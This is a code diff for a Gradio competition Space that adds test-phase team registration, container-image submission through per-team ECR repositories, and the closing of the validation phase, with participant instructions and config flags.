update test phase: registration, submission and the validation close

app.py

@@ -15,9 +15,11 @@ import html
 import gradio as gr
 
 import config
+import register_test
 import results
 import submissions
 import submit
+import submit_test
 
 # Cache the results DataFrame so filter changes don't re-download; refresh reloads.
 _RESULTS_CACHE: dict = {}
@@ -126,9 +128,11 @@ The validation set ground-truth annotations are **publicly available** within th
 
 Final prize allocation is determined exclusively through evaluation on a **held-out test split**, which will remain private.
 
-**Submission Process:** Upon conclusion of the Validation Phase, top-ranking teams will be invited to submit a **self-contained deployment package** (encompassing model weights and inference code) rather than a pre-computed predictions file.
+**Submission Process:** Upon conclusion of the Validation Phase, top-ranking teams will be invited to submit a **container image** (encompassing model weights and inference code) rather than a pre-computed predictions file. Building and uploading an image is unlimited; registering one for evaluation is limited to **3 per team per sub-track** for the whole phase. Shortlisted teams collect their registry credentials from the Submit tab when the window opens.
 
-**Evaluation Process:** Organizers will independently execute these packages on the private test dataset within a controlled, standardized environment. Inference runs under the official resource limits — the **300-second per-query** generation limit (inference only) and a compute ceiling of **16 nodes × 8 H100 (80 GB each) = 128 GPUs total** — and **parameter counts are verified** to ensure strict adherence to the declared division. Only the test scores generated by the organizers determine final standings and award distribution.
+**Full step-by-step instructions are on the Submit tab, under Test.**
+
+**Evaluation Process:** Organizers will independently execute these packages on the private test dataset within a controlled, standardized environment. Inference runs under the official resource limits — the **300-second per-query** generation limit (inference only), and a compute ceiling of **16 nodes × 8 H100 (80 GB each) = 128 GPUs total**. We provide up to 16 nodes, and your model must still fit on one: the 16 nodes are there to get through the test split faster, the queries are divided between them and **each node runs its own full, independent copy of your image**, so the budget for a single copy is one node, 8 × H100 80 GB. We do not shard one model across nodes. If yours genuinely needs more than one node to hold a single copy, write to the organizers **before you build**: that requires a custom image and our agreement, and it is not something we can arrange after a submission arrives. **Parameter counts are verified** to ensure strict adherence to the declared division. Only the test scores generated by the organizers determine final standings and award distribution.
 """
 
 # (heading prefix, anchor id, sidebar label) — drives both the injected anchors
@@ -304,8 +308,10 @@ _CONVQA_SUBMIT_HELP = (
 )
 
 
-def submit_tab():
-    gr.Markdown("## Submit predictions — Validation phase")
+def val_submit_tab():
+    gr.Markdown("## Submit predictions, Validation phase")
+    if not config.VAL_PHASE_OPEN:
+        gr.Markdown(config.VAL_CLOSED_NOTICE, elem_classes="phase-closed")
     gr.Markdown(
         "We are currently in the **Validation phase**. Upload your model's "
         "**`predictions.jsonl`** plus the identity / parameter fields below. "
@@ -348,8 +354,16 @@ def submit_tab():
     )
 
     with gr.Row(elem_classes="submit-row"):
+        # Format checking stays available with the phase closed: it costs
+        # nothing, writes nothing, and is useful to a team preparing a test
+        # phase image.
         validate_btn = gr.Button("Validate format (no submit)", scale=0)
-        btn = gr.Button("Submit", variant="primary", scale=0)
+        btn = gr.Button(
+            "Submit" if config.VAL_PHASE_OPEN else "Submissions closed",
+            variant="primary" if config.VAL_PHASE_OPEN else "secondary",
+            scale=0,
+            interactive=config.VAL_PHASE_OPEN,
+        )
     out = gr.Markdown()
 
     # Dry-run validation: no sign-in, no upload, no daily-quota cost.
@@ -370,35 +384,555 @@ def submit_tab():
     )
 
 
-def _iframe(phase, open_only, force=False):
+def do_test_submit(
+    profile: gr.OAuthProfile | None,
+    track, division, team_name, model_name, license_str, open_weight,
+    total_params_b, active_params_b, image_ref, image_digest,
+):
+    if profile is None:
+        return "⚠️ Please sign in with Hugging Face first."
+    if total_params_b in (None, "") or active_params_b in (None, ""):
+        return "⚠️ Enter total and active params (in billions)."
+    if not (license_str or "").strip():
+        return "⚠️ Select or enter a model license."
+
+    ok, msg = submit_test.validate_and_submit(
+        hf_user=profile.username,
+        track=track,
+        division=division,
+        team_name=team_name,
+        model_name=model_name,
+        license_str=license_str,
+        open_weight=bool(open_weight),
+        total_params=_b_to_int(total_params_b),
+        active_params=_b_to_int(active_params_b),
+        image_ref=image_ref,
+        image_digest=image_digest,
+        token=config.HF_TOKEN,
+    )
+    return msg
+
+
+def _signed_in_as(profile: gr.OAuthProfile | None):
+    """Fill the read-only account box from the OAuth session.
+
+    Shown rather than typed: the account is the one thing on this form a
+    participant cannot choose, and it is half of the pair we match against the
+    validation submissions, so seeing it removes a whole class of "why am I
+    being refused" confusion.
+    """
+    return profile.username if profile else ""
+
+
+def do_test_register(
+    profile: gr.OAuthProfile | None,
+    team_name,
+    track,
+    division,
+    members,
+    poc,
+    model_name,
+    total_params_b,
+):
+    """Test-phase registration for ONE sub-track.
+
+    Sign-in is checked here rather than inside register_test so the module stays
+    free of gradio and can be unit-tested; `profile.username` is the only thing
+    the Space knows that a participant cannot type.
+    """
+    if profile is None:
+        return "⚠️ Please sign in with Hugging Face first."
+
+    from huggingface_hub import HfApi
+
+    ok, msg = register_test.issue(
+        HfApi(token=config.HF_TOKEN),
+        hf_user=profile.username,
+        team_name=team_name or "",
+        track=track,
+        division=division,
+        members=members or "",
+        poc=poc or "",
+        model_name=model_name or "",
+        total_params_b=total_params_b,
+    )
+    return msg if ok else f"❌ {msg}"
+
+
+def do_test_validate(track, division, total_params_b, active_params_b, image_ref, image_digest):
+    """Dry run: the same validators a real registration applies, but nothing is
+    written and no submission slot is spent. No sign-in required."""
+    if total_params_b in (None, "") or active_params_b in (None, ""):
+        return "⚠️ Enter total and active params (in billions) to check the division cap."
+
+    ok, msg = submit_test.validate_only(
+        track=track,
+        division=division,
+        total_params=_b_to_int(total_params_b),
+        active_params=_b_to_int(active_params_b),
+        image_ref=image_ref,
+        image_digest=image_digest,
+    )
+    if ok:
+        return f"✅ {msg}\n\n_Nothing was registered — this was a format check only._"
+    return f"❌ {msg}"
+
+
+_TEST_GUIDE_MD = """
+### Step 1 — Register your team
+
+Use the **Step 1** form below. Sign in with the Hugging Face account your team competed
+under in the Validation Phase, enter the same team name, and declare your model's total
+parameter count including any frozen backbone. If your team is on the shortlist, the page
+shows your registry credentials immediately. There is no invitation email.
+
+You get two things:
+
+- an **access key ID and secret** for a registry account created for your team
+- your **repository URI**: `<ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/<your-team>`
+
+You do **not** need an AWS account. These credentials are an identity inside the
+organizers' account: no signup, no billing relationship, nothing to agree to. Your
+repository is private and no other team can read it.
+
+### Step 2 — Build your image
+
+Everything you need is in the challenge dataset repo under
+[`starter_kit/test_phase/`](https://huggingface.co/datasets/facebook/wearable-ai/tree/main/starter_kit/test_phase):
+a `Containerfile`, `build_image.sh`, `validate_image.sh`, and a README with the
+full walkthrough. You need **podman or docker**; nothing else.
+
+```bash
+git clone https://huggingface.co/datasets/facebook/wearable-ai
+cd wearable-ai/starter_kit/test_phase
+```
+
+The `Containerfile` already carries the evaluation stack (CUDA 12.8, Python 3.10,
+PyTorch 2.10.0, vLLM 0.19.1) and the starter kit. **Edit only the marked extension
+block at the bottom**, where you do two things:
+
+1. **Bake your weights into `/models`**, for example
+   `COPY my_weights/ /models/my_model/`. Weights must be in the image: evaluation
+   nodes cannot reach your storage, and downloading at run time counts against
+   your 300-second per-query budget.
+2. **Register your model class** in `model.py`'s `MODEL_REGISTRY`, then select it
+   with `--model-type <your_key>`.
+
+Then build and check it:
+
+```bash
+./build_image.sh --tag my-team:v1
+./validate_image.sh my-team:v1
+```
+
+`validate_image.sh` is the **same script we run when your image arrives**, so a
+pass here is a pass at intake. On the template before you add anything, 11 of the
+12 checks pass and the failure is `/models is non-empty`, which is what your
+weights fix.
+
+Three things will fail your submission outright: an image **without `bash`**
+(a `distroless`, `busybox` or `-slim` base dies at exit 127 with no output),
+**hardcoded dataset paths** (we pass `--video-folder`, `--golden` and
+`--predictions` at evaluation time), and relying on **`ENTRYPOINT`** (the runtime
+invokes `run_evaluation.py` directly and ignores it).
+
+### Step 3 — Upload your image
+
+You will need **Docker (or Podman)** and the **`aws` CLI**. The CLI is used only to mint
+a registry login token.
+
+```bash
+export AWS_ACCESS_KEY_ID=...        # from Step 1
+export AWS_SECRET_ACCESS_KEY=...
+
+aws ecr get-login-password --region us-east-2 \
+  | docker login --username AWS --password-stdin <ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com
+
+docker tag <your-local-image> <ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/<your-team>:v1
+docker push <ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/<your-team>:v1
+```
+
+The login token lasts 12 hours. A large push can take longer, so if the upload is
+interrupted, re-run the `get-login-password` line and then `docker push` again:
+completed layers are skipped and the upload resumes.
+
+Use a **new tag for each build** (`:v1`, `:v2`, ...). Tags are immutable, so an existing
+tag cannot be overwritten.
+
+**Uploading is unlimited and costs you nothing.** Nothing is evaluated until step 4.
+
+### Step 4 — Submit for evaluation
+
+Fill in the form below. **This is the capped step: 3 submissions per team per sub-track**
+for the entire Test Phase. A sub-track is one track in one division, so entering both
+Small and Large in the same track gives you three in each. Queued and completed
+submissions both count; ones we refuse before running do not.
+
+Because uploading is free and submitting is not: if you are unsure which of two builds is
+stronger, upload both and submit only the one you want scored.
+
+We evaluate the exact image recorded at registration. A later push to the same repository
+does **not** change a submission already made — submit again if you want the newer image
+evaluated. Use **Validate format (no submit)** to check your fields without spending one.
+
+### After you submit
+
+Keep your image in place until your submission shows as scored. **Parameter counts are
+verified** against your declared division. Track state in **My Submissions**.
+
+Inference runs under the official limits:
+
+| Limit | Value |
+| --- | --- |
+| Time per generation / turn | 300 s |
+| GPUs one copy of your model may use | 8 x H100 80 GB on a single node, 640 GB |
+| Evaluation parallelism | up to 16 nodes, run by the organizers |
+
+Exceeding the per-turn timeout aborts that turn and scores it as empty.
+
+**We provide up to 16 nodes, and your model must still fit on one.** The 16 nodes
+are there to get through the test split faster: the queries are divided between
+them and **each node runs its own full, independent copy of your image**. So the
+budget for a single copy is one node, 8 x H100 80 GB. We do not shard one model
+across nodes. If yours genuinely needs more than one node to hold a single copy,
+write to the organizers **before you build**: that requires a custom image and
+our agreement, and it is not something we can arrange after a submission arrives.
+
+Nothing about the node count is baked into your image, so you can build and test
+on whatever you have — one GPU is fine. Resolve the GPU count at run time rather
+than hardcoding it: `run_evaluation.py --num-gpus` is passed to your model, and
+with no value it uses every GPU it can see.
+
+### Troubleshooting
+
+**`denied: requested access to the resource is denied`** — your login token has expired
+(they last 12 hours), or the tag does not match your assigned repository.
+
+**The push keeps restarting** — your image likely has one very large layer. Split the
+weights across several `COPY` instructions and rebuild.
+
+**A push to an existing tag is rejected** — tags are immutable. Use a new tag.
+
+**Image far larger than expected** — check for build caches, `.git` directories, duplicate weight files
+and package-manager caches left in the final layers.
+
+**Anything else** — contact the organizers with your team name and the exact command
+output. Never share your access key.
+"""
+
+
+_TEST_IMAGE_HELP = (
+    "**Pushing your image.** Build it from "
+    "[`starter_kit/test_phase/`](https://huggingface.co/datasets/facebook/wearable-ai/tree/main/starter_kit/test_phase) "
+    "in the challenge dataset repo (see Step 2), then push to the ECR repository "
+    "issued to your team in Step 1 and paste the reference `docker push` printed, "
+    "repository and digest together as `<repo>@sha256:...`. We score that exact "
+    "digest, so a later push to the same repository does not change what is "
+    "scored: submit again if you want the newer image evaluated.\n\n"
+    "**Image size:** keep it under **{advertised} GB** compressed, which is the "
+    "size `docker push` reports. If your model genuinely needs more, contact the "
+    "organizers before you build rather than after."
+).format(advertised=config.TEST_IMAGE_ADVERTISED_GB)
+
+
+
+def _guide_slice(start: str, end: str | None) -> str:
+    """One section of _TEST_GUIDE_MD, so each step accordion shows only its own.
+
+    The guide stays the single source; these are views on it. Both ends are
+    asserted, because a mistyped heading would slice to nothing and render as an
+    empty accordion rather than failing.
+    """
+    i = _TEST_GUIDE_MD.index(start)
+    j = _TEST_GUIDE_MD.index(end) if end else len(_TEST_GUIDE_MD)
+    out = _TEST_GUIDE_MD[i:j].strip()
+    assert len(out) > 100, f"guide slice {start!r} is suspiciously short"
+    return out
+
+
+# Steps 2 and 3 own building and uploading, and the troubleshooting is entirely
+# about pushing, so it belongs with them rather than in a section of its own.
+_TEST_BUILD_UPLOAD_MD = (
+    _guide_slice("### Step 2", "### Step 4")
+    + "\n\n"
+    + _guide_slice("### Troubleshooting", None)
+)
+
+# Step 4 owns submitting and what happens afterwards.
+_TEST_SUBMIT_MD = _guide_slice("### Step 4", "### Troubleshooting")
+
+
+def test_register_section():
+    """Step 1: a shortlisted team collects its registry credentials.
+
+    Laid out to mirror Step 4 below: the same three bands of who you are, which
+    sub-track, and which model, so the two forms read as one flow rather than
+    two unrelated pages.
+    """
+    with gr.Accordion(
+        "Step 1 — Register your team and collect your registry credentials",
+        open=config.TEST_PHASE_OPEN,
+    ):
+        gr.Markdown(
+            "Registration replaces the invitation email, and it is **per "
+            "sub-track**: a sub-track is one track in one division, and because "
+            "the divisions are parameter bands, a team entered in both is "
+            "bringing two different models. Register once for each seat you "
+            "hold and declare that model's size each time.\n\n"
+            "Your team name must match your validation submissions **exactly** — "
+            "that pairing is how we know the account belongs to the team. "
+            "Re-registering is fine and shows the same credentials again; there "
+            "is one repository per team, whichever sub-track you register."
+        )
+        with gr.Row():
+            reg_user = gr.Textbox(
+                label="Hugging Face account",
+                interactive=False,
+                info="From your sign-in; cannot be edited.",
+            )
+            reg_team = gr.Textbox(
+                label="Team name",
+                placeholder="Exactly as on the Validation leaderboard",
+                info="Must match your validation submissions.",
+            )
+        with gr.Row():
+            reg_members = gr.Textbox(
+                label="Team members — one per line, as `Name, email`",
+                lines=4,
+                placeholder="Ada Lovelace, ada@example.com\nAlan Turing, alan@example.org",
+                info="Everyone on the team. Used for the certificate and for "
+                "contacting you about the phase.",
+            )
+            reg_poc = gr.Textbox(
+                label="Your email address, you are the main point of contact",
+                placeholder="ada@example.com",
+                info="Just the address, not `Name, email`. Must be one of the "
+                "members above. You are signed in, so your account is the "
+                "contact of record; this is where we write.",
+            )
+        with gr.Row():
+            reg_track = gr.Radio(
+                config.TEST_TRACKS,
+                label="Track",
+                value=config.TEST_TRACKS[0],
+                info="Register once per seat you hold.",
+            )
+            reg_division = gr.Radio(
+                config.DIVISIONS,
+                label="Division",
+                value="large",
+                info="By total params: Small ≤ 2B, Large 2B+.",
+            )
+        with gr.Row():
+            reg_model = gr.Textbox(
+                label="Model name",
+                placeholder="e.g. MyModel-2B",
+                info="Does not have to be the model you entered at validation.",
+            )
+            reg_params = gr.Number(
+                label="Total params (billions)",
+                value=None,
+                minimum=0,
+                info="For THIS sub-track, including any frozen backbone. Must "
+                "match the division.",
+            )
+        with gr.Row(elem_classes="submit-row"):
+            reg_btn = gr.Button(
+                "Register and show my credentials",
+                variant="primary",
+                scale=0,
+                interactive=config.TEST_PHASE_OPEN,
+            )
+        reg_out = gr.Markdown()
+        reg_btn.click(
+            do_test_register,
+            inputs=[
+                reg_team, reg_track, reg_division, reg_members, reg_poc,
+                reg_model, reg_params,
+            ],
+            outputs=reg_out,
+            # One at a time: each disclosure appends a ledger row, and two
+            # concurrent claims from one team would write two rows for one event.
+            concurrency_limit=1,
+        )
+        # Populate the account box on load, so it is filled before the participant
+        # touches anything rather than after a failed submit.
+        demo.load(_signed_in_as, inputs=None, outputs=reg_user)
+
+
+def test_submit_tab():
+    gr.Markdown("## Test phase")
+    gr.Markdown(
+        "The test split is held out, so you do not submit predictions: you submit a "
+        "**container image**, and the organizers run it against the test data on "
+        "their own hardware. **Open weights are required.**\n\n"
+        "Four steps, below. The first three are unlimited; only Step 4 spends one of "
+        f"your **{config.MAX_TEST_SUBMISSIONS_PER_TRACK} submissions per team per "
+        "sub-track**."
+    )
+    if not config.TEST_PHASE_OPEN:
+        gr.Markdown(
+            "**The test phase is not open yet.** These forms are here so you can "
+            "see what will be asked for. When the window opens, shortlisted teams "
+            "collect their registry credentials from Step 1 — there is no "
+            "invitation email to wait for."
+        )
+    # One sign-in for the whole tab. Both forms need it and it is the same
+    # session; two buttons on one page read as two different logins.
+    with gr.Row():
+        gr.LoginButton(scale=0)
+
+    test_register_section()
+
+    with gr.Accordion("Steps 2 and 3 — Build your image, then upload it", open=False):
+        gr.Markdown(_TEST_BUILD_UPLOAD_MD)
+
+    with gr.Accordion(
+        "Step 4 — Submit an image for evaluation", open=config.TEST_PHASE_OPEN
+    ):
+        gr.Markdown(
+            "This is the capped step. Push your image to the ECR repository issued "
+            "in Step 1, then register its digest here. Queued and completed "
+            "submissions both count against the cap; ones we refuse before running "
+            "do not. Use **Validate format** to check your fields without spending "
+            "one.\n\n"
+            "We score the exact digest you register, so a later push to the same "
+            "repository does not change a submission already made."
+        )
+        with gr.Accordion("Details", open=False):
+            gr.Markdown(_TEST_SUBMIT_MD)
+        with gr.Row():
+            track = gr.Radio(config.TEST_TRACKS, label="Track", value="convqa",
+                             info="Which task this image is for.")
+            division = gr.Radio(config.DIVISIONS, label="Division", value="large",
+                                info="By total params: Small ≤ 2B, Large 2B+.")
+        with gr.Row():
+            team_name = gr.Textbox(label="Team name", placeholder="Shown on the board")
+            model_name = gr.Textbox(label="Model name", placeholder="e.g. MyModel-2B")
+        with gr.Row():
+            license_str = gr.Dropdown(
+                LICENSE_CHOICES, label="Model license — pick one or type your own",
+                value=None, allow_custom_value=True,
+                info="Not in the list? Type your license and press Enter.")
+            open_weight = gr.Checkbox(
+                label="Open weights", value=True, interactive=False,
+                info="Required in the test phase — closed-source entries are not eligible.")
+        with gr.Row():
+            total_params_b = gr.Number(label="Total params (billions)", value=None,
+                                       minimum=0)
+            active_params_b = gr.Number(label="Active params (billions)", value=None,
+                                        minimum=0)
+
+        with gr.Group(elem_classes="convqa-judge-box"):
+            gr.Markdown(_TEST_IMAGE_HELP)
+
+        # One field, full width. A digest is 64 hex characters and a repository
+        # URI is long, so side-by-side truncates both, and a truncated digest is
+        # one a participant cannot check.
+        image_ref = gr.Textbox(
+            label="Image reference",
+            placeholder=(
+                "123456789012.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/"
+                "your-team@sha256:" + "0" * 64
+            ),
+            info=(
+                "Your repository plus the digest, as `<repo>@sha256:...`. Copy it "
+                "from what `docker push` printed."
+                if not config.TEST_ACCEPT_IMAGE_TAG
+                else "Your repository plus the tag you pushed (`<repo>:v1`) or the "
+                "digest (`<repo>@sha256:...`)."
+            ),
+        )
+        # Kept so a participant following older instructions, which asked for the
+        # digest separately, is not turned away. Hidden: the reference above takes
+        # both parts now.
+        image_digest = gr.Textbox(label="Image digest", visible=False, value="")
+
+        with gr.Row(elem_classes="submit-row"):
+            validate_btn = gr.Button("Validate format (no submit)", scale=0)
+            btn = gr.Button("Submit for evaluation", variant="primary", scale=0,
+                            interactive=config.TEST_PHASE_OPEN)
+        out = gr.Markdown()
+
+        validate_btn.click(
+            do_test_validate,
+            inputs=[track, division, total_params_b, active_params_b, image_ref,
+                    image_digest],
+            outputs=out,
+        )
+        btn.click(
+            do_test_submit,
+            inputs=[
+                track, division, team_name, model_name, license_str, open_weight,
+                total_params_b, active_params_b, image_ref, image_digest,
+            ],
+            outputs=out,
+            # Serialize so the per-track cap check cannot be raced by one team firing
+            # two registrations at once. The worker enforces the cap again anyway.
+            concurrency_limit=1,
+        )
+
+
+def submit_tab():
+    # Same order as the Leaderboard tab, and for the same reason: the test
+    # phase is the live one now.
+    with gr.Tabs(elem_classes="phase-tabs"):
+        with gr.Tab("Test"):
+            test_submit_tab()
+        with gr.Tab("Validation"):
+            val_submit_tab()
+
+
+def _iframe(phase, open_only, force=False, refresh_s=None):
     """Render the phase's leaderboard as a style-isolated <iframe srcdoc>."""
-    doc = results.board_document(_results_df(force), phase, open_only)
+    doc = results.board_document(_results_df(force), phase, open_only, refresh_s)
     return (f'<iframe title="{phase} leaderboard" srcdoc="{html.escape(doc)}" '
             f'scrolling="no" '
             f'style="width:100%;border:0;display:block;min-height:200px"></iframe>')
 
 
-def _phase_board(phase: str, interval: int, show_toggle: bool = True):
-    """Auto-refreshing iframe for one phase, with an optional open-weight toggle."""
+def _phase_board(phase: str, interval: int | None, show_toggle: bool = True):
+    """Iframe for one phase, with an optional open-weight toggle.
+
+    interval=None means no timer at all, for a phase that is closed: a frozen
+    board re-fetching every minute burns the Space's quota redrawing bytes that
+    cannot have changed, and refreshes a timestamp that no longer means
+    anything. The same value drives the footer, so what is advertised is what
+    was set.
+    """
     open_only = gr.Checkbox(value=False, label="Open-weight only") if show_toggle else None
     board = gr.HTML(elem_classes="lb-frame")
     if open_only is not None:
-        open_only.change(lambda o: _iframe(phase, o), inputs=open_only, outputs=board)
-        demo.load(lambda o: _iframe(phase, o, force=True), inputs=open_only, outputs=board)
-        gr.Timer(interval).tick(lambda o: _iframe(phase, o, force=True),
-                                inputs=open_only, outputs=board)
+        open_only.change(lambda o: _iframe(phase, o, refresh_s=interval),
+                         inputs=open_only, outputs=board)
+        demo.load(lambda o: _iframe(phase, o, force=True, refresh_s=interval),
+                  inputs=open_only, outputs=board)
+        if interval:
+            gr.Timer(interval).tick(
+                lambda o: _iframe(phase, o, force=True, refresh_s=interval),
+                inputs=open_only, outputs=board)
     else:
-        demo.load(lambda: _iframe(phase, False, force=True), outputs=board)
-        gr.Timer(interval).tick(lambda: _iframe(phase, False, force=True),
-                                outputs=board)
+        demo.load(lambda: _iframe(phase, False, force=True, refresh_s=interval),
+                  outputs=board)
+        if interval:
+            gr.Timer(interval).tick(
+                lambda: _iframe(phase, False, force=True, refresh_s=interval),
+                outputs=board)
 
 
 def leaderboard_tab():
+    # Test first, so it sits left and is the sub-tab Gradio opens on: Gradio
+    # selects the first child, so the ordering is the whole mechanism.
     with gr.Tabs(elem_classes="phase-tabs"):
-        with gr.Tab("Validation"):
-            _phase_board("val", 60, show_toggle=False)
         with gr.Tab("Test"):
-            _phase_board("test", 120, show_toggle=False)
+            _phase_board("test", 300, show_toggle=False)
+        with gr.Tab("Validation"):
+            # Inside the sub-tab, not above it: the Test board is not closed,
+            # and a banner over both would say it was.
+            if not config.VAL_PHASE_OPEN:
+                gr.Markdown(config.VAL_CLOSED_NOTICE, elem_classes="phase-closed")
+            # No timer: the validation phase is closed, so the board is final.
+            _phase_board("val", None, show_toggle=False)
 
 
 def _subs_iframe(profile: gr.OAuthProfile | None):
@@ -573,6 +1107,8 @@ html { scrollbar-gutter: stable; }
   border-radius: 12px !important; padding: 12px 16px !important; margin: 6px 0 10px !important;
 }
 .gradio-container .convqa-judge-box .md { color: #6b4e00 !important; }
+.phase-closed{background:#fff4e5;border-left:4px solid #e8912d;
+               padding:10px 14px;border-radius:4px;margin:6px 0 14px}
 /* Right-align the Submit button. */
 .gradio-container .submit-row { justify-content: flex-end !important; }
 /* Tighten the Submit form too (Leaderboard stays wide). */

config.py

@@ -23,6 +23,22 @@ PHASE = "val"  # validation phase; test phase reuses these schemas later.
 
 TRACKS = ["convqa", "longqa", "proactive"]
 
+# Why a track is not offered in the TEST phase. Delete an entry here and the
+# track becomes available; TEST_TRACKS is derived, and nothing else changes.
+#
+# This is the ONE line to change. An earlier version of this file hardcoded
+# TEST_TRACKS and claimed the same thing, which was false: a test pinned
+# proactive absent, so widening the list alone failed the suite. Deriving the
+# list means the test asserts the DERIVATION and follows automatically.
+# Tracks not offered in the TEST phase. Add an entry to block one; TEST_TRACKS
+# is derived, so that is the only edit needed.
+TEST_TRACKS_BLOCKED: dict[str, str] = {}
+
+# Tracks the TEST phase can actually score. Offering one we cannot score would
+# let a team register a submission that burns one of their three per-track
+# slots and returns nothing, so the cost of the gap falls on the participant.
+TEST_TRACKS = [t for t in TRACKS if t not in TEST_TRACKS_BLOCKED]
+
 # Pretty names for the UI.
 TRACK_LABELS = {
     "convqa": "EgoConv",
@@ -45,6 +61,112 @@ DIVISION_CAPS = {
     "large": (2_000_000_000, float("inf")),
 }
 
+# --- Test phase -----------------------------------------------------------
+# The test phase does not take predictions. Shortlisted teams push a container
+# image to their own ECR repository and REGISTER its digest here; the organizers'
+# worker pulls that digest, runs it against the held-out split on the cluster and
+# publishes the score. Registration rather than the registry is the throttle: a
+# team can push all it likes, and nothing is evaluated until it is registered.
+# Whether the Submit tab still accepts validation predictions. Defaults CLOSED,
+# so the freeze takes effect the moment this ships and does not depend on anyone
+# remembering to set a secret. Set VAL_PHASE_OPEN=1 to reopen it.
+#
+# The button being greyed out is not the control: submit.validate_and_submit()
+# checks this too, because a disabled button is a suggestion and the endpoint is
+# still reachable.
+VAL_PHASE_OPEN = os.environ.get("VAL_PHASE_OPEN", "").lower() in ("1", "true", "yes")
+
+# Rendered INSIDE the Validation sub-tab on both the Leaderboard and the Submit
+# tab, never above the sub-tabs: the Test phase is not closed, and a banner
+# outside them would say it was. It therefore says nothing about "below" or
+# "above" either, since it has to read correctly in both places.
+VAL_CLOSED_NOTICE = (
+    "**The Validation Phase is closed.** The validation leaderboard is final "
+    "and no further validation predictions are accepted. Shortlisted teams "
+    "continue in the Test Phase, under **Test** on the Submit tab."
+)
+
+TEST_PHASE = "test"
+
+# Whether the Submit tab accepts test-phase registrations. Off until the test
+# window opens, so the tab can ship ahead of it; flip with a Space secret rather
+# than a code change.
+TEST_PHASE_OPEN = os.environ.get("TEST_PHASE_OPEN", "").lower() in ("1", "true", "yes")
+
+# Scored submissions a team may register per TRACK (not per subtrack, and not per
+# day as the val phase is): a team's model has one size, so track and subtrack are
+# the same in practice here. This is the board-side half of the cap; the worker
+# enforces the same number independently, because the board cannot be the only
+# gate on work that costs GPU time.
+MAX_TEST_SUBMISSIONS_PER_TRACK = 3
+
+# Which request states hold one of those slots. A submission that was refused
+# before anything ran (REJECTED) does not; one that ran and failed to score
+# (FAILED) does, because it consumed the compute. Keep this identical to
+# count_prior_submissions() in the organizers' test_phase_worker.py.
+TEST_SLOT_STATUSES = ("PENDING", "FINISHED", "FAILED")
+
+# Per-division image size ceiling, enforced here at registration and again by the
+# worker from the ECR manifest before any pull. Keep in step with
+# DEFAULT_SIZE_CAPS_GB in test_phase_worker.py and participant/validate_image.sh.
+TEST_IMAGE_SIZE_CAPS_GB = {"small": 10, "large": 200}
+
+# The size we publish to participants: one number for both divisions, stated as
+# the compressed size in the registry (the number `docker push` reports), not the
+# uncompressed size on disk. Over it, a team asks for an exception rather than
+# being blocked by the form.
+TEST_IMAGE_ADVERTISED_GB = 100
+
+# Minimum declared total parameter count accepted at test-phase registration, in
+# whole parameters, including any frozen backbone. Zero means no floor, which is
+# the current state: whether to apply one is an OPEN organizer decision, driven
+# by validation entries that declared 91k and 1M parameters at near-perfect
+# EgoProactive scores. Setting this constant is the whole change.
+TEST_REGISTRATION_MIN_TOTAL_PARAMS = 0
+
+# How far the size declared at test-phase registration may differ from the one
+# the team declared at validation before we say something. A team is allowed to
+# bring a different model, so a change is expected and is never refused; this
+# only decides when a NOTE is shown and the row is flagged. An order of
+# magnitude catches the case worth catching, which is a unit slip (millions
+# typed into a billions box). Set to 0 to disable the note entirely.
+TEST_REGISTRATION_SIZE_DISCREPANCY_FACTOR = 10
+
+# A registry reference we are willing to pull from. Anchored on purpose: the
+# reference reaches a subprocess on the organizers' side, so anything that is not
+# plainly an ECR repository path is refused here rather than escaped later. These
+# two patterns are the same as _ECR_REF / _DIGEST in test_phase_worker.py; a
+# reference this accepts and the worker rejects would strand the team with a
+# submission that can never be scored.
+ECR_REF_RE = (
+    r"^(?P<registry>\d{12}\.dkr\.ecr\.[a-z0-9-]+\.amazonaws\.com)"
+    r"/(?P<repository>[a-z0-9][a-z0-9._/-]*[a-z0-9])$"
+)
+DIGEST_RE = r"^sha256:[0-9a-f]{64}$"
+
+# An image TAG. Docker's own rule: up to 128 of word character, dot or dash,
+# not starting with a dot or dash. Anchored like the two above, because this
+# value reaches a subprocess on the organizers' side.
+#
+# A tag is accepted as an alternative to a digest because participant
+# repositories are created with --image-tag-mutability IMMUTABLE and the
+# per-team policy grants no ecr:Delete*, so a tag cannot be overwritten and
+# cannot be freed and re-pushed. On this setup `repo:v1` names one image
+# permanently. The worker still resolves it to a digest at intake and records
+# that, so provenance stays digest-based; this only changes what a participant
+# has to type.
+TAG_RE = r"^[A-Za-z0-9_][A-Za-z0-9._-]{0,127}$"
+
+# Whether the Submit form accepts a TAG instead of a digest.
+#
+# OFF until the worker can resolve one. The worker validates image_digest
+# against its own ^sha256:...$ and would reject a tag at intake, so accepting
+# one here first would let a participant spend a submission on a reference that
+# can never be scored. Flip this in the same change that teaches the worker to
+# resolve tag -> digest via `aws ecr describe-images --image-ids imageTag=`,
+# not before. The Space side is already written and tested behind it.
+TEST_ACCEPT_IMAGE_TAG = False
+
 # --- Gold / submission constraints ---------------------------------------
 N_GOLD = 700
 MAX_SUBMISSIONS_PER_DAY = 5  # per (hf_user, track, division) = "subtrack", val phase.

register_test.py

@@ -0,0 +1,741 @@
+"""Test-phase registration: a shortlisted team signs in and gets its registry credentials.
+
+Replaces emailing 30 teams individually. A team signs in with Hugging Face on the
+Submit tab, names its team, and if BOTH checks pass the page shows the ECR
+repository URI and the access key issued to that team.
+
+The three checks, from the organizers' rules:
+
+1. The (hf_user, team_name) pair must appear together on a SCORED validation
+   submission. Signing in proves the account; the pair proves the account is the
+   one that competed under that team name. Neither alone is enough: a team name
+   is free text anyone can type, and an account can enter under several names.
+2. The team must be on the shortlist.
+3. The team must declare a total parameter count, INCLUDING any frozen backbone,
+   FOR THE SUB-TRACK IT IS REGISTERING. This is a declaration, not a
+   measurement, and it is recorded rather than trusted: the About tab already
+   tells participants that parameter counts are verified in the test phase, and
+   this is the number that verification is run against. Collecting it at
+   registration rather than at submission means a self-evidently wrong count can
+   be queried before a team spends compute.
+
+Registration is PER SUB-TRACK, not per team, and the reason is that a model has
+one size but a team can enter several sub-tracks. The divisions are defined by
+parameter count (Small is <= 2B, Large is above it), so a team seated in both
+divisions of a track is necessarily bringing two different models, and one
+number per team could not describe them. A team registers once per sub-track it
